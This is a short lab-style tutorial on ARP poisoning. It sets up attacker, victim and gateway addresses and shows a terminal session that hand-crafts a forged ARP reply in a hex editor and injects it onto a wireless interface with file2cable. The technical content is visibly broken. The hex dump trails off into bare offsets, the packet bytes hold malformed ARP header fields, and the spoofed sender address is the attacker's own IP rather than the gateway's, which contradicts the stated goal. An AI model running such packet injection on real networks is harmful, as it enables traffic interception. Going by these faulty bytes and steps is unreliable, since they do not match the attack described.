

ARP Poisoning

ARP Poisoning (also known as ARP Spoofing) is a type of cyber attack carried out over a Local Area Network (LAN) that involves sending malicious ARP packets to a default gateway on a LAN in order to change the pairings in its IP to MAC address table. ARP Protocol translates IP addresses into MAC addresses. Because the ARP protocol was designed purely for efficiency and not for security, ARP Poisoning attacks are extremely easy to carry out as long as the attacker has control of a machine within the target LAN or is directly connected to it.

In this experiment, we will simulate ARP poisoning by creating a virtual LAN network which will consist of an attacker machine, a victim machine and a default gateway.

	Machine A(Attacker)	Machine B(Victim)	Default Gateway
IP Address	172.16.55.165	172.16.58.88	172.16.48.1
MAC Address	18:26:49:4c:f5:31	c8:b2:9b:b1:7d:7b	04:d5:90:6e:91:19

Our goal is to map gateway's IP address with attacker machine's MAC address, such that all packets sent from victim to gateway are routed to attacker's machine.

For doing the poisoning, we need to install some tools.

1. Wireshark: Wireshark is a packet sniffer and analysis tool. It captures network traffic from ethernet, Bluetooth, wireless (IEEE. 802.11), token ring, and frame relay connections, among others, and stores that data for offline analysis.
2. Hexedit: To manipulate the packet.
3. File2cable: To send manipulated packets to the victim.

Now we will send an ARP reply packet from attacker machine to victim machine which will contain the MAC address of attacker machine but IP address of the gateway.

ARP poisoning is done.

```
kunal@Kali-G3: ~/Work/Practice/ARP_Poisoning
00000000  C8 B2 9B B1 7D 7B 18 26 49 4C F5 31 08 06 00 01 08 00 06 04 00 02 12 26 .....{.6IL.1.....6IL.1..7....}{...X
0000002C
00000058
00000084
000000B0
000000DC
00000108
00000124
00000160
0000018C
000001B8
000001E4
00000210
0000023C
00000268
00000294
000002C0
000002EC
00000318
00000344
00000370
0000039C
000003C8
000003F4
00000420
0000044C
00000478
000004A4
000004D0
000004FC
00000528
00000554
00000580
000005AC
000005D8
00000604
00000630
0000065C
00000688
000006B4
000006E0
0000070C
00000738
00000764
00000790
000007BC
000007E8
00000814
00000840
0000086C
00000898
000008C4
~% samplepacket --0x0/0x2A--0%-----
kunal@Kali-G3: ~/Work/Practice/ARP_Poisoning
~% file2cable -v -i wlan0 -f samplepacket
file2cable [-v] -i <interface> -f <file>
kunal@Kali-G3: ~/Work/Practice/ARP_Poisoning
~% file2cable -v -i wlan0 -f samplepacket
file2cable -v by FX <fx@phenoeelit.de>
Thank you got to Lamont Granquist & fyodor for their hexdump()
samplepacket - 42 bytes raw data
c8b2 9bb1 7d7b 1826 494c f531 0806 0001 .....{.6IL.1...
8800 0604 0802 1826 494c f531 ac10 37a5 .....6IL.1..7.
c8b2 9bb1 7d7b ac10 3a58 .....}{...X
Packet length: 42
socket(): Operation not permitted
kunal@Kali-G3: ~/Work/Practice/ARP_Poisoning
~% file2cable -v -i wlan0 -f samplepacket
file2cable -v by FX <fx@phenoeelit.de>
Thank you got to Lamont Granquist & fyodor for their hexdump()
socket(): Operation not permitted
kunal@Kali-G3: ~/Work/Practice/ARP_Poisoning
~% file2cable -v -i wlan0 -f samplepacket
file2cable -v by FX <fx@phenoeelit.de>
Thank you got to Lamont Granquist & fyodor for their hexdump()
samplepacket - 42 bytes raw data
c8b2 9bb1 7d7b 1826 494c f531 0806 0001 .....{.6IL.1...
8800 0604 0802 1826 494c f531 ac10 37a5 .....6IL.1..7.
c8b2 9bb1 7d7b ac10 3a58 .....}{...X
Packet length: 42
socket(): Operation not permitted
kunal@Kali-G3: ~/Work/Practice/ARP_Poisoning
~% sudo file2cable -v -i wlan0 -f samplepacket
[sudo] password for kunal:
file2cable -v by FX <fx@phenoeelit.de>
Thank you got to Lamont Granquist & fyodor for their hexdump()
samplepacket - 42 bytes raw data
c8b2 9bb1 7d7b 1826 494c f531 0806 0001 .....{.6IL.1...
8800 0604 0802 1826 494c f531 ac10 37a5 .....6IL.1..7.
c8b2 9bb1 7d7b ac10 3a58 .....}{...X
Packet length: 42
kunal@Kali-G3: ~/Work/Practice/ARP_Poisoning
```